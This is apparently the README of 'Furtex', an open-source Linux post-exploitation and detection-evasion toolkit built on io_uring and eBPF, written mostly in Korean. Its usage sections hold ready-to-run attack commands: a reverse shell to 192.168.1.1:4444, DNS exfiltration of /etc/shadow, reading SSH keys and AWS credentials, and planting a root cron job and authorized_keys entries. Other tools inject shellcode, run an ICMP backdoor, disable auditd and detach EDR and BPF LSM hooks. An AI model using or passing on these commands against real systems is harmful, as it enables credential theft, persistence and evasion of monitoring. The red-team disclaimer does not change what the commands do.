
Linux용 포스트 익스플로잇 및 회피 연구 툴킷.
io_uring과 eBPF를 기반으로 구축된 Linux용 포스트 익스플로잇 및 탐지 회피 연구 툴킷입니다. liburing도, 프레임워크도 없이 전체적으로 raw syscall만 사용합니다.
더 많은 도구가 곧 추가됩니다. PR은 언제나 환영합니다. 🇧🇷
Rootkit Researchers에 참여하세요
승인된 연구 및 레드 팀 작업 전용입니다. 소유하지 않은 시스템에서 실행하지 마세요.
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## 요구 사항
**툴체인**
| 도구 | 필요 용도 |
|---|---|
| `gcc` | 모든 사용자 공간 바이너리 |
| `clang` | `ebpf/*.bpf.c` BPF 측 프로그램 |
| `make` | 빌드 시스템 |
**헤더 및 라이브러리**
| 패키지 | 필요 용도 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` 및 관련 커널 헤더 |
| `libbpf-dev` | `ebpf/` 프로그램에서 사용되는 `<bpf/bpf_helpers.h>` 및 관련 파일들 |
| `bpftool` | `ebpf/` 내부에서 `make vmlinux`를 통해 `vmlinux.h` 생성 |
Debian/Kali/Ubuntu에서:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
커널 버전
| 최소 버전 | 활성화되는 기능 |
|---|---|
| 5.4 | io_uring 기본 (IORING_FEAT_SINGLE_MMAP, BPF 맵 반복) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON 분리 (BPF에서 CAP_SYS_ADMIN 대체) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
Capabilities
| capability | 필요로 하는 도구 |
|---|---|
CAP_BPF (또는 5.8 이전의 CAP_SYS_ADMIN) | 모든 bpf/ 도구, ebpf/ 로더 |
CAP_PERFMON | ebpf/ tracepoint 및 kprobe 프로그램 |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
ebpf/ 프로그램용 make vmlinux를 실행하려면 커널에서 BTF를 활성화해야 합니다 (CONFIG_DEBUG_INFO_BTF=y).
오래된 libc-dev 헤더를 사용하는 배포판(Ubuntu 22.04 등)에서는 #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45가 필요할 수 있습니다. 이 저장소에서는 이미 처리되어 있습니다.
| 명령어 | 빌드 대상 |
|---|---|
make all | 전체 |
make uring | io_uring/만 |
make bpf | bpf/ 사용자 공간 도구 |
make ebpf | BPF 측 프로그램 (clang + libbpf 필요) |
make edrs | 모든 edrs/ 바이너리 |
make techniques | Falco 우회 도구 |
make clean | 모든 바이너리 제거 |
edrs/에는 권한별로 나뉜 ~75개의 바이너리를 빌드하는 자체 하위 Makefile이 있습니다:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) for the full breakdown.
## io_uring bypass coverage
io_uring SQE는 커널 workqueue를 통해 처리됩니다. `io_uring_enter(2)`는 `sys_call_table`을 통해 호출하지 않으며, `sys_enter_*` 트레이스포인트를 발생시키지 않고, `native_sys_call`에 대한 livepatch에도 걸리지 않습니다. 이 사실만으로도 아무것도 건드리지 않고 많은 종류의 EDR 후크를 무력화합니다.
io_uring이 단독으로 우회하는 대상:
| 후크 지점 | 설명 |
|---|---|
| `sys_call_table` 포인터 교체 | io_uring은 syscall 테이블을 거치지 않음 |
| `native_sys_call` / `compat_sys_call`에 대한 livepatch | 동일한 이유 |
| `sys_enter_*` 트레이스포인트 | workqueue 경로를 사용하므로 트레이스포인트가 발생하지 않음 |
io_uring이 단독으로 우회하지 못하는 대상 (능동적인 도구가 필요):
| 후크 지점 | 도구 | 도구의 기능 |
|---|---|---|
| `vfs_read`, `security_file_open` 등에 대한 kprobes | `ftrace_enum` | kprobe 후크를 제거함 |
| BPF LSM / KRSI | `bpf_link_detach` | BPF 링크를 분리함 |
| Linux audit | `audit_kill` | NETLINK_AUDIT를 통해 auditd를 비활성화함 |
| LD_PRELOAD / PLT-GOT 패치 | `plt_unhook` | 사용자 공간 후크를 제거함 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | 레이어 2에서 AF_PACKET을 사용하여 netfilter를 건너뜀 |
| `inet_stream_connect` 후크 | `udp_shell` | UDP를 사용하며 tcp connect 경로를 호출하지 않음 |
## io_uring/
`iouring_utils.h`는 liburing 없이 링 구성을 처리합니다.
| binary | 기능 |
|---|---|
| `file_read` | io_uring을 통한 OPENAT+READ+CLOSE 체인, sys_enter_read 이벤트 없음 |
| `file_write` | OPENAT+WRITE+CLOSE 체인 |
| `file_append` | file_write와 동일하지만 O_APPEND, offset -1 사용 |
| `net_connect` | 하나의 링에서 SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT를 통한 리버스 셸 |
| `multifile_read` | 하나의 SQE 배치에서 최대 64개 파일 |
| `memfd_exec` | stdin을 통해 ELF를 memfd로 스트리밍하고 /proc/self/fd를 통해 execve 실행 |
| `proc_inject` | /proc/PID/mem을 통한 JIT 인젝션; ptrace 인젝션(--ptrace 플래그) |
| `pipe_splice` | 커널 간 SPLICE, 사용자 공간 후크는 바이트를 볼 수 없음 |
| `inotify_bypass_watch` | io_uring READ는 IN_ACCESS/IN_OPEN을 발생시키지 않음 |
| `dns_exfil` | io_uring SENDMSG를 통해 데이터를 DNS 쿼리 라벨로 hex 인코딩 |
| `af_packet_send` | AF_PACKET을 통한 raw Ethernet (IORING_OP_SOCKET, inet 경로 우회) |
| `xdp_socket_send` | AF_XDP + UMEM 링을 통한 raw 프레임, netfilter를 완전히 우회 |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
대부분의 도구는 CAP_BPF가 필요합니다. env_exfil은 권한 없이 동작합니다. icmp_trigger는 CAP_BPF 대신 CAP_NET_RAW가 필요합니다.
| binary | 기능 |
|---|---|
map_recon | 로드된 모든 BPF 맵 나열 |
map_dumper | ID별로 맵 내용 덤프 |
map_write | ID별로 맵 항목 업데이트 |
map_poison | 페이로드 주변의 Falco interesting_sys 항목을 0으로 만들기 |
prog_recon | BPF 프로그램 나열: 유형, 이름, 맵 수 |
pid_allowlist | EDR 허용 목록 맵에 PID 삽입 |
edr_fin | 로드된 BPF 맵/프로그램을 알려진 EDR 휴리스틱과 대조해 점수 매기기 |
lsm_check | 활성 BPF LSM 후크 감지 및 맵 쓰기 차단 여부 테스트 |
bpf_persist | bpffs에서 맵과 프로그램 pin/검색/unpin |
map_snapshot | 맵 내용을 바이너리 파일로 저장 및 복원 |
env_exfil | 비밀 정보를 위해 /proc/*/environ 읽기 |
bpf_link_detach | BPF 링크 열거 및 분리(LSM 후크 제거) |
link_update | BPF 링크를 no-op 프로그램으로 리디렉션(후크는 보이지만 아무것도 실행하지 않음) |
map_freeze | BPF_MAP_FREEZE를 통해 BPF 맵을 읽기 전용으로 고정(쓰기 시 -EPERM 반환) |
icmp_trigger | ICMP 매직 패킷 백도어; socketpair 릴레이를 통해 리버스 셸 생성; kworker/u4:2로 가장 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
clang + libbpf + vmlinux.h가 필요합니다. `ebpf/` 안에서 `make vmlinux`를 실행하여 실행 중인 커널의 BTF에서 생성하십시오.